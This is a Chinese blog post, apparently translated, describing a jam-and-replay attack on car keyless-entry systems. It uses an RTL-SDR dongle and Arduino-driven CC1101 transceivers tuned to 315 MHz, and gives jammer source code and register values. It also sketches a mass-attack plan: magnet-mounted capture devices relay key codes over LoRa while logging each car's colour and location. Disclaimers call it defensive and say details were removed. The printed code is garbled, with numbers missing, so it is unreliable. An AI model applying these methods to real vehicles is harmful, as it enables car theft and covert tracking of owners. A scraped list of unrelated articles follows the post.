在最近几年,入侵汽车在当代社会的黑客圈中成为热点,很多文章表明汽车产业还有很多东西等待完善,在本篇文章中,我会让你熟悉我一直研究的一些概念,以及如何在网状网络中使用一些便宜的部件渗透远程开门系统。

软件无线电

Software-defined radio(SDR)即软件无线电,它是一种实现无线通信的新概念和体制。其中已在硬件上被实现的组件(例如混频器,滤波器,放大器,调制器/解调器,检测器等)可以通过软件手段在个人计算机上或嵌入式系统中被代替,即很多功能是在软件平台上实现的。虽然SDR不是一个新概念,但是随着数字电子学的飞速发展,很多东西从理论可行转变为实际可行。

然而大多数SDR设备都非常昂贵,特别是HackRF,BladeRF等等,如果你在寻找最便宜的方案,那么RTL2382U是个不错的选择,它们在Ebay上只需大约15美元。

这是我的RTL2382U以及一个天线。

这是另一个,我没有停止用它,因为我在用它后面的GPS模块。

使用这个设备和Linux机器连接起来,然后用HDSDR查看按键时的实时情况。

如你所见,宝马汽车制造商使用频段315Mhz,屏幕上的红线是我按下按钮时出现的。

当受害者走向他们的汽车并且按下解锁键时,信号就会被发送到汽车,然后门就会被解锁,所以我们需要在这一切发生之前拦截所有交互。

如何制作一个干扰器

在这部分,我在ebay上购买了一些CC1101无线射频收发器,我们将通过这些,使用ardunio nano板来实施拦截和重放。

如上图,我们有两个CC1101收发器连接在ardunio nano上,任何手机都可以为nano供电,根据其收发强度,其有效范围可达10米。

这个没有太多技术含量,我修改了panstamp库来使其在315Mhz上工作,因为原本的库在433Mhz,868Mhz和915Mhz上工作,而这些频段我们都不需要。接下来我们需要找出315频段的频谱中的highbyte,middlebyte和lowbyte。

低,中,高是三个寄存器,其值可以改变工作频率。我使用的是12:29:137。

必须注意的是,在美国境内使用干扰器是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了使用的基础且没有深入,感谢理解!

#include "EEPROM.h"
#include "cc1101.h" CC1101 cc1101; // The LED is wired to the Arduino Output 4 (physical panStamp pin 19)
#define LEDOUTPUT 7 // counter to get increment in each loop
byte counter;
byte b;
byte syncWord = ; void blinker(){
//digitalWrite(LEDOUTPUT, HIGH);
//delay(100);
//digitalWrite(LEDOUTPUT, LOW);
///delay(100);
} void setup()
{
//Serial.begin(38400);
Serial.begin();
Serial.println("start"); // reset the counter
counter=;
Serial.println("initializing...");
// initialize the RF Chip
cc1101.init(); cc1101.setSyncWord(&syncWord, false);
cc1101.setCarrierFreq(CFREQ_315);
cc1101.disableAddressCheck();
//cc1101.setTxPowerAmp(PA_LowPower); //Serial.print("CC1101_PARTNUM "); //cc1101=0
Serial.println(cc1101.readReg(CC1101_PARTNUM, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_VERSION "); //cc1101=4
Serial.println(cc1101.readReg(CC1101_VERSION, CC1101_STATUS_REGISTER));
//Serial.print("CC1101_MARCSTATE ");
Serial.println(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER) & 0x1f);
} void send_data() {
CCPACKET data;
data.length=; data.data[]=;
data.data[]=;
data.data[]=;
data.data[]=;
//cc1101.flushTxFifo ();
Serial.print(cc1101.readReg(CC1101_MARCSTATE, CC1101_STATUS_REGISTER));
if(cc1101.sendData(data)){
send_data();
}
}
void loop()
{
send_data(); }

上面的代码是我在使用CC1101时发现的,对我们来说效果不是特别好。

我首先要直接发送一个脉冲信号来阻止所有其他信号。在数据数组中填充1似乎是不错的主意。

#include "EEPROM.h"
#include "cc1101.h" CC1101 cc1101;
CCPACKET data; void setup()
{
// initialize the RF Chip
cc1101.init(); // For 315 MHz -> 0C1D8A
// 0C1D8A gives 315000061.03515625 Hz cc1101.writeReg(CC1101_FREQ2, 0x0C); // Set Transmitter
cc1101.writeReg(CC1101_FREQ1, 0X1D); // freq to
cc1101.writeReg(CC1101_FREQ0, 0x8A); // 315 MHz data.length = ;
for(int a = ; a < ; a++) {
data.data[a]= ; // Filling the data array
} } void loop()
{
cc1101.sendData(data);
}

当受害者按下解锁按钮时,信号首先被拦截,然后干扰信号(我们称之为signalX)被捕获并保存,随后我们将使用GNURadio来从原始的钥匙信号信号(我们称之为signalY)中分离出我们创建的实际干扰信号。当受害者再次按下解锁按钮时,我们原来保存的signalX就被发送给汽车,signalY在稍后可以重放来解锁同一辆车。当信号被捕获时,你需要进行逆向才能发回。我使用GNURadio接收并解调原来的ASK信号,将其变成二进制调制波形,之后我可以用来重放。

振幅偏移调变(ASK)是振幅调制的一种形式,表示数字数据作为载波振幅的变化。在ASK系统中,通过在T秒的持续时间内传送固定幅度载波和固定频率来表示二进制1。如果信号值1不发送,则为0。

这个系统有用吗?

有用,我在两辆车和一辆卡车上测试了这个,都成功的打开了车门。可怕的是,任何人都可以花费不多的美元来实现这个系统;更可怕的是,SDR设备的价格正在稳步下滑,在这种情况下获取一个定制的设备会变得更加容易。

进阶

经过批量攻击概念的证明,我写了一些东西,证明了这种攻击不仅可以一次攻击一辆车,还可以一次攻击数百辆的汽车。下面是一些关键点。

购买捕获设备(我们称之为veh1),通过磁铁吸附在汽车下面,
当对方的密钥信号被捕获和解调时,我们想通过网状网络发送这个信号。
Wifi或者蓝牙的距离不足以传输信号,我会使用的LoRa(长距离低功耗无线通讯技术),其有效范围可达15英里。
veh1连接到其中心设备,并将其二进制调制波形发送出去。
如果能搭建一个类似发送包的网络就更好了,给每一个设备一个名字,这样一来你就知道那个设备对应的是哪辆车了。
收集数据:车辆名称,颜色,位置和重放攻击数据。
将其放置在任何车辆上,中央设备可以在几分钟内完成。

必须注意的是,在中国使用干扰器也是非法的,这篇文章中的任何成功攻击的信息都被移除,它只提供了基础的思路且没有深入。该文章仅供研究如何防范,感谢理解!

原文链接:anthonys

使用RTL-SDR打开车门的更多相关文章

  1. 使用RTL-SDR,从打开一个车门到批量打开车门

    在最近几年,入侵汽车在当代社会的黑客圈中成为热点,很多文章表明汽车产业还有很多东西等待完善,在本篇文章中,我会让你熟悉我一直研究的一些概念,以及如何在网状网络中使用一些便宜的部件渗透远程开门系统. 软 ...

  2. 【转】Tesla Model X的车门设计问题

    Tesla Model X的车门设计问题 Tesla即将推出的SUV(Model X),不但继承了以上提到的Model S的各种问题(触摸屏,门把,……),而且还制造了新的问题.Model X具有一个 ...

  3. QUICK START GUIDE

    QUICK START GUIDE This page is a guide aimed at helping anyone set up a cheap radio scanner based on ...

  4. PHP安全编程:网站安全设计的一些原则(转)

    深度防范 深度防范原则是安全专业人员人人皆知的原则,它说明了冗余安全措施的价值,这是被历史所证明的. 深度防范原则可以延伸到其它领域,不仅仅是局限于编程领域.使用过备份伞的跳伞队员可以证明有冗余安全措 ...

  5. (转帖) 如何將值delay n個clock? (SOC) (Verilog)

    来源:http://www.cnblogs.com/oomusou/archive/2009/06/15/verilog_dly_n_clk.html /* (C) OOMusou 2009 http ...

  6. 关于Autosar中的NM模块的理解

    本篇文章主要介绍AutoSar中关于NM模块的理解. 阅读本篇文章希望达到的目的: 1. NM(网络管理)是用来做什么的: 2. AutoSar中网络管理的原理: 3.项目实例介绍 1. NM(网络管 ...

  7. GPS卫星定位防盗系统机芯

    GPS卫星定位防盗系统机芯,一般安装在驾驶室的操作台内,包括GPS模块,安装时需要先把车门打开,并把两边的车门拆卸下来,才能拆卸驾驶仪表台,再按说明书安装GPS定位防盗机芯,同时置于4A/12V免维护 ...

  8. rtl-sdr在win7和ubuntu16.04的安装

    硬件准备 RTL2832+R820T2 usb dongle x 1 Long wire antenna x 1 USB电视棒的购买: 在淘宝上搜索"软件无线电"或"rt ...

  9. 【转】Tesla Model S的设计失误

    Tesla Model S的设计失误 这幅美丽的图片,就是红极一时的Tesla电动车Model S的内景.然而你有没有发现,其中有一些不大对劲的地方?虽然我看好电动汽车,它们环保,安静,运动敏捷,然而 ...

随机推荐

  1. HTTP请求中POST与GET的区别

      本文章已收录于:   一.原理区别 一般我们在浏览器输入一个网址访问网站都是GET请求;再FORM表单中,可以通过设置Method指定提交方式为GET或者POST提交方式,默认为GET提交方式. ...

  2. 【题解】JSOIWC2019 Round1

    题面(T1变成5s(毒瘤出题人发现std超时了qaq)): 啥都不会qaq.但也送了不少分 题解: T1: 当T=0时直接异或前缀和,但T=1时就有点恶心 暴力能有80pts(防止大家爆零) 还珂以用 ...

  3. 绘制COCO数据集结果

    import os import time import datetime import mmcv import cv2 as cv import json import numpy as np im ...

  4. react开发初始配置和一些问题

    1.npm run build之后,打开网页显示为空白的解决方案 初始使用的开发者应该都会使用create-react-app,初次尝试,启动没有问题,然后就测试一下build,结果发现本地文件ind ...

  5. IP分为五类

    IP地址分为五类: IP地址分为五类:A类保留给政府机构,B类分配给中等规模的公司,C类分配给任何需要的人,D类用于组播,E类用于实验. 常用的三类IP地址 IP = 网路地址(网络号)+主机地址(主 ...

  6. tomcat的systemctl启动脚本

    最近在做Tomcat的实验,顺便研究了一下tomcat的启动脚本发现一个问题,然后经过多方查阅其他大神的资料,终于解决,现在跟大家分享. tomcat的启动脚本跟别的脚本有稍微区别的原因是他需要识别J ...

  7. Access查询时间段 .

    access数据库cmd // SendTime是在Access数据库中是文本类型 StringBuilder sb = new StringBuilder(); sb.Append("SE ...

  8. python-html基础操作

    介绍: HTML  是网页内容的载体.包括文字,图片,信息等用户浏览的信息CSS   样式是改变内容外观表现.像字体,颜色,背景,边框等JavaScript   是实现网页上的特效效果.如鼠标滑过背景 ...

  9. Django-2.1基础操作

    创建项目 安装django pip3 install django #查看django版本 django-admin --version python -m django --version 2.1. ...

  10. 【洛谷p1066】2^k进制数

    (不会敲键盘惹qwq) 2^k进制数[传送门] 算法标签: (又是一个提高+省选-的题) 如果我说我没听懂你信吗 代码qwq: #include<iostream> #include< ...